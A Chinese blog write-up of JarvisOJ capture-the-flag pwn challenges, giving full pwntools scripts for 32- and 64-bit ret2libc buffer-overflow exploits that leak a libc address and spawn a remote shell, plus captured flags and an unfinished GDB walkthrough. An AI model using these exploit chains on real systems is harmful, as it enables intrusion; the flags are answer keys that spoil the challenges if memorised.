动态链接

level3

CTF{d85346df5770f56f69025bc3f5f1d3d0}

看了看学长的脚本,有啥东西就写在注释里了)

# -*- coding: utf-8 -*-
from pwn import *

# from ctypes import string_at
# from sys import getsizeof
# from binascii import hexlify

elf = ELF("./level3")
# io = process("./level3")
io = remote("pwn2.jarvisoj.com",9879)

vul_addr = elf.symbols["vulnerable_function"]
write_addr = elf.symbols["write"]
# write_addr_plt = elf.plt["write"]
# print(write_addr == write_addr_plt) # true
write_addr_got = elf.got["write"]

io.recvline()
#           junk       ebp      要执行的函数的地址   执行后返回的地址  参数1     参数2                  参数3
io.sendline('x'*0x88 + 'beef' + p32(write_addr) + p32(vul_addr) + p32(1) + p32(write_addr_got) + p32(4))

# print(io.recv(4))
write_addr_real = u32(io.recv(4)) # 得到真实地址
# print(write_addr_real)

libc = ELF("./libc-2.19.so")
write_libc_offset = libc.symbols["write"]
sys_libc_offset = libc.symbols["system"]
# 传字符串时是传的字符串地址,所以也要搜到libc里字符串的偏移量才行
binsh_libc_offset = next(libc.search("/bin/sh")) # search返回的是个迭代器,要用next()才能访问到偏移量

libc_base = write_addr_real - write_libc_offset
sys_addr_real = libc_base + sys_libc_offset
binsh_libc_real = libc_base + binsh_libc_offset

io.recvline()
io.sendline('x'*0x88 + 'jjjj' + p32(sys_addr_real) + 'jjjj' + p32(binsh_libc_real))
io.interactive()

# print(hexlify(string_at(write_addr_got, getsizeof(p32(write_addr_got))))) # python可以读取内存内容,但读取别的程序占用的内存会引发段错误
# 而且这玩意读的应该还是本地相应地址的内容,根本不是人服务器上的,我好像过于异想天开了。

level3x64

CTF{b1aeaa97fdcc4122533290b73765e4fd}

就算是64位的,最终目的还是system(bin/sh)

64位区别:

System V AMD64 ABI(Linux、FreeBSD、macOS等采用)中前六个整型或指针参数依次保存在RDI,RSI,RDX,RCX,R8R9寄存器中,如果还有更多的参数的话才会保存在栈上,以及覆盖一个地址要8个字母了。

要给寄存器传参的话,先写一句pop rxx; ret 地址,下面接着要写进rxx的数值。

还有payload顺序也不一样,先改好寄存器的值,再写要调用的函数、调用完返回的地址。

# -*- coding: utf-8 -*-
from pwn import *

elf = ELF("./level3_x64")
# io = process("./level3")
io = remote("pwn2.jarvisoj.com", 9883)

vul_addr = elf.symbols["vulnerable_function"]
write_addr = elf.symbols["write"]
write_addr_got = elf.got["write"]

# ropper --file ./level3_x64 --search "pop | ret"
pop_rdi = p64(0x00000000004006b3) + p64(1) # 1 for stdin
pop_rsi = p64(0x00000000004006b1) + p64(write_addr_got)
pop_rdx = p64(1) # 根本没有pop rdx; ret; 随便填一个,rdx值本来要大于8就行,不大于8也没办法

io.recvline()
#           junk        ebp (8个)   参数1     参数2      参数3     要执行的函数的地址   执行后返回的地址
io.sendline('x'*0x80 + 'deadbeef' + pop_rdi + pop_rsi + pop_rdx + p64(write_addr) + p64(vul_addr))

write_addr_real = u64(io.recv(8)) # 得到真实地址

libc = ELF("./libc-2.19.so")
write_libc_offset = libc.symbols["write"]
sys_libc_offset = libc.symbols["system"]
binsh_libc_offset = next(libc.search("/bin/sh")) # search返回的是个迭代器,要用next()才能访问到偏移量

libc_base = write_addr_real - write_libc_offset
sys_addr_real = libc_base + sys_libc_offset
binsh_libc_real = libc_base + binsh_libc_offset

pop_rdi_binsh = p64(0x00000000004006b3) + p64(binsh_libc_real)

io.recvline()
io.sendline('x'*0x80 + 'jjjjjjjj' + pop_rdi_binsh + p64(sys_addr_real))
io.interactive()

ret2libc

很奇怪每次输入都会改变变量到栈底距离的题,不过因此学到了如何在脚本里关联上GDB(gdb.attach(io, "b main"),并在GDB中直接看要填充多少(distance $eax $ebp

首先gdb ret2libc3b mainr后一路n到要读入的语句:

0x8048683 <main+107>    lea    eax, [esp + 0x1c]
0x8048687 <main+111>    mov    dword ptr [esp], eax
0x804868a <main+114>    call   gets@plt <0x8048440>

类似[ebp - 0x??]这样的一般是变量地址,这题特殊用esp定位,所以<main+107>处把变量所在地址给了eax(lea是“取有效地址, 感觉可以当做只传地址的mov

执行完<main+107>,就可以用distance $eax $ebp得出要填充成垃圾的长度:

0xffffcefc->0xffffcf68 is 0x6c bytes (0x1b words)

写进脚本:


仅存的笔记到这里就断了。备份的代码也丢失在时间里,就像雨中的眼泪……


复制以下链接,并粘贴到你的Mastodon、MisskeyGoToSocial等应用的搜索栏中,即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论,都会出现在本文底部。快去试试吧!

链接:https://emptystack.top/note/动态链接